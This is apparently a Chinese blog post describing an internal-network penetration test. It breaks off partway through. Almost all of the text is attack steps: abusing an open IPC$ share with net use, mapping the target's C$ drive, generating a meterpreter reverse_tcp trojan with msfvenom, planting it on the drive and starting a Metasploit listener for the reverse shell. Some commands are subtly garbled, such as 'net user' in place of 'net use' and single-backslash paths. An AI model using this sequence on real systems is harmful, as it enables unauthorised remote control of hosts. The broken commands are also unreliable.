小编在跟进某个内网检查项目时,碰到了开启IPC$默认共享的情况,这可是很难得的机会能碰到这种暴露的攻击点,马上提枪上阵,直捣黄龙。
首先netsacan扫描整个ip段,发现ipc$默认共享处于开启状态。使用命令建立IPC$空连接:
net use \10.xxx.xxx.xxx\ipc$
如果能获取SMB的user和passwrod,则可以使用以下命令建立完整的用户名,密码连接:
net user \10.xxx.xxx.xxx\ipc$ “password” /user:”username”
连接成功。那就把C盘给映射出来,执行以下命令:
Net use z: \10.xxx.xxx.xxx\c$
将c映射到z盘
如果是获取到SMB的user和password的,可用以下命令:
Net user z: \10.xxx.xxx.xxx\c$ “password” /user:”username”
接下来就是给目标机上个木马,使之能够控制目标主机。
此时上大杀气,使用msf生产远程木马
Msfvenom -platform windows -p windows/meterpreter/reverse_tcp LHOST=10.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b ‘\x00’ -f exe-only -o test_payload.exe
然后将马放入隐射出来的c盘中。
之后msf启动监听
Use exploit/multi/handler
Set payload windows/meterpreter/reverse_tcp
<